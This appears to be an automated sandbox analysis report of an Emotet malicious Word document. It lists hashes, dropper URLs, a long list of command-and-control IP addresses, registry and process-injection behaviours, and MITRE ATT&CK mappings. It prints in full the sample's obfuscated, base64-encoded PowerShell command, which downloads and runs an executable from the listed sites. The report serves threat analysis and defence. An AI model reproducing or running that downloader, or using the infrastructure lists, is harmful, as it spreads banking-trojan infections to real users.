emotet | 4e0fc19cd148b47ee573dccbb780bc459c45275318871548b3b864d9eb0af8ec

General

Target
emotet_e1_4e0fc19cd148b47ee573dccbb780bc459c45275318871548b3b864d9eb0af8ec_2020-09-22__171723760889._doc.doc
Size 153KB
Sample200922-8rn9ad2ccn
SHA256 4e0fc19cd148b47ee573dccbb780bc459c45275318871548b3b864d9eb0af8ec
MD5 39d0e400f5f4e4ebea993f1ed3b2390c
SHA1 25c9b2a171067c71cbcb23d4886ea2bbe78e99e4
SHA512 b90e6c32d6a824ebd2d62d051f4b183f4571b6a3f9b7c6a6a31f8776f10d9812bf92ee1ad20fcae12198028fd0f9fe7ae616c0036a44dd15cf1c36796f281883
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://syracusecoffee.com/customer/jzN/
exe.dropper
http://intrasistemas.com/cgi-bin/6/
exe.dropper
http://rocketviral.com/bv/O/
exe.dropper
http://shop.homenhealthy.com/wp-includes/xt/
exe.dropper
http://raintoday.org/wp-admin/e/
exe.dropper
https://qualitychildcarepreschool.com/emqblk/292416929446266/O/
exe.dropper
http://thammynhp.com/wp-includes/H/

Extracted

Family

emotet

C2

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2984	2180	POWeRsHeLL.exe	72

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1148-14-0x00000000006E0000-0x00000000006F2000-memory.dmp	emotet
behavioral2/memory/1148-14-0x00000000006E0000-0x00000000006F2000-memory.dmp	emotet
behavioral2/memory/1148-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1148-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3816-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3816-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	2984	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1148	Htammz.exe
3816	SMBHelperClass.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\SearchFolder\SMBHelperClass.exe	Htammz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3228	WINWORD.EXE
3228	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2984	POWeRsHeLL.exe
2984	POWeRsHeLL.exe
2984	POWeRsHeLL.exe
3816	SMBHelperClass.exe
3816	SMBHelperClass.exe
3816	SMBHelperClass.exe
3816	SMBHelperClass.exe
3816	SMBHelperClass.exe
3816	SMBHelperClass.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE
3228	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2984 wrote to memory of 1148	2984	POWeRsHeLL.exe	79
PID 2984 wrote to memory of 1148	2984	POWeRsHeLL.exe	79
PID 2984 wrote to memory of 1148	2984	POWeRsHeLL.exe	79
PID 1148 wrote to memory of 3816	1148	Htammz.exe	81
PID 1148 wrote to memory of 3816	1148	Htammz.exe	81
PID 1148 wrote to memory of 3816	1148	Htammz.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_4e0fc19cd148b47ee573dccbb780bc459c45275318871548b3b864d9eb0af8ec_2020-09-22__171723760889._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3228

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABPAHoAbAByAHIAYgBoAD0AKAAoACcAUgA1ADcAJwArACcAOAAnACkAKwAoACcAYgB2ACcAKwAnAGgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAHIAUAByAG8ARgBJAGwARQBcAFcAawAyAHEAYwBtAFYAXABrAEYAMgB1ADUANQA4AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAHUAcgBJAFQAeQBgAFAAUgBvAHQATwBgAGMAbwBsACIAIAA9ACAAKAAnAHQAJwArACcAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAyACcAKwAnACwAJwArACcAIAB0AGwAcwAxADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABMADAAaABhAHAAZABiACAAPQAgACgAKAAnAEgAJwArACcAdABhAG0AJwApACsAJwBtAHoAJwApADsAJABUAGMANwByAHoAdgB3AD0AKAAoACcAUABiAGgAcgAnACsAJwAyACcAKQArACcAMwB1ACcAKQA7ACQAQwB5AGsAOAA2AG0AZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBXACcAKwAnAGsAMgBxAGMAbQB2AHsAMAB9AEsAZgAnACsAJwAyACcAKwAnAHUAJwArACcANQA1ACcAKwAnADgAJwArACcAewAnACsAJwAwAH0AJwApACAAIAAtAGYAIAAgAFsAQwBoAGEAcgBdADkAMgApACsAJABMADAAaABhAHAAZABiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVgBjADMAMwBpAHIAeQA9ACgAKAAnAFYAMAAnACsAJwB5AGoAbAAnACkAKwAnADUAJwArACcAdgAnACkAOwAkAEIAegBwAHAAZQAzADkAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAEkAZQBOAHQAOwAkAEgANQAzAGwANwBqAHcAPQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoALwAvAHMAJwArACcAeQAnACkAKwAnAHIAJwArACgAJwBhAGMAdQBzAGUAJwArACcAYwBvACcAKQArACgAJwBmAGYAZQAnACsAJwBlACcAKQArACgAJwAuAGMAbwBtAC8AYwAnACsAJwB1AHMAdAAnACsAJwBvACcAKwAnAG0AZQAnACsAJwByACcAKQArACgAJwAvACcAKwAnAGoAegBOAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBpAG4AJwApACsAKAAnAHQAcgBhAHMAaQAnACsAJwBzACcAKwAnAHQAZQBtAGEAJwApACsAKAAnAHMALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwBjAGcAJwArACcAaQAtACcAKQArACgAJwBiAGkAbgAvACcAKwAnADYAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAKAAnAC8ALwByACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAawBlACcAKwAnAHQAdgBpACcAKQArACgAJwByAGEAbAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAvACcAKQArACgAJwBiAHYALwAnACsAJwBPACcAKQArACcALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6AC8ALwAnACsAJwBzAGgAbwBwACcAKQArACgAJwAuAGgAbwBtAGUAbgBoACcAKwAnAGUAJwArACcAYQBsACcAKQArACgAJwB0AGgAeQAnACsAJwAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZABlAHMALwAnACkAKwAoACcAeAB0AC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwAnACkAKwAnAHIAJwArACgAJwBhACcAKwAnAGkAbgAnACsAJwB0AG8AZABhACcAKwAnAHkALgBvAHIAZwAnACkAKwAoACcALwB3AHAALQAnACsAJwBhAGQAbQBpAG4ALwAnACsAJwBlAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwBzADoALwAnACsAJwAvACcAKQArACgAJwBxAHUAJwArACcAYQAnACkAKwAoACcAbABpACcAKwAnAHQAeQBjAGgAJwArACcAaQBsACcAKQArACgAJwBkACcAKwAnAGMAYQAnACkAKwAoACcAcgBlACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAZQBzAGMAaABvAG8AbAAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAGUAJwArACcAbQAnACsAJwBxAGIAbABrAC8AJwApACsAJwAyACcAKwAoACcAOQAnACsAJwAyADQAMQA2ADkAJwApACsAKAAnADIAOQAnACsAJwA0ACcAKQArACgAJwA0ADYAMgAnACsAJwA2ADYAJwApACsAJwAvACcAKwAnAE8ALwAnACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwB0AGgAYQAnACsAJwBtAG0AeQBuACcAKwAnAGgAJwApACsAJwBwACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQAnACsAJwBpACcAKwAnAG4AYwBsAHUAJwArACcAZABlACcAKwAnAHMALwBIAC8AJwApACkALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBhAHYAcAB2AHUAcwA9ACgAKAAnAEIAJwArACcAMQBqACcAKQArACcANwAnACsAKAAnADYAJwArACcAZAByACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQBsADMANwB3AGMAZQAgAGkAbgAgACQASAA1ADMAbAA3AGoAdwApAHsAdAByAHkAewAkAEIAegBwAHAAZQAzADkALgAiAGQATwB3AE4ATABPAEEAYABEAGAARgBJAGwAZQAiACgAJABFAGwAMwA3AHcAYwBlACwAIAAkAEMAeQBrADgANgBtAGYAKQA7ACQAUwAzAGcAagB1ADkAcQA9ACgAKAAnAEsAJwArACcAdAB4ADIAOAAnACkAKwAnAG0ANQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwB5AGsAOAA2AG0AZgApAC4AIgBsAGAARQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMwA1ADcAMQA3ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEMAeQBrADgANgBtAGYAKQA7ACQATgB4ADEAZwBmAGcAawA9ACgAKAAnAEsAMQAnACsAJwB0ACcAKQArACcAaAAnACsAKAAnADQAcwAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABKAHUAdAB5AGwAZQA5AD0AKAAoACcASQBhACcAKwAnAGIAJwApACsAJwA4ADMAJwArACcAcQAxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBvAG0AcgAzAGQAdgA9ACgAKAAnAFcAMQBnAGgAJwArACcAOAAnACkAKwAnAGMAJwArACcAdwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2984
- C:\Users\Admin\Wk2qcmv\Kf2u558\Htammz.exe
  "C:\Users\Admin\Wk2qcmv\Kf2u558\Htammz.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\SysWOW64\SearchFolder\SMBHelperClass.exe
    "C:\Windows\SysWOW64\SearchFolder\SMBHelperClass.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1148-14-0x00000000006E0000-0x00000000006F2000-memory.dmp

Download

memory/1148-15-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/2984-8-0x00007FF9E8F80000-0x00007FF9E996C000-memory.dmp

Download

memory/2984-9-0x00000271584E0000-0x00000271584E1000-memory.dmp

Download

memory/2984-10-0x00000271587F0000-0x00000271587F1000-memory.dmp

Download

memory/3228-0-0x00007FF9F0560000-0x00007FF9F0C26000-memory.dmp

Download

memory/3816-18-0x0000000000590000-0x00000000005A2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads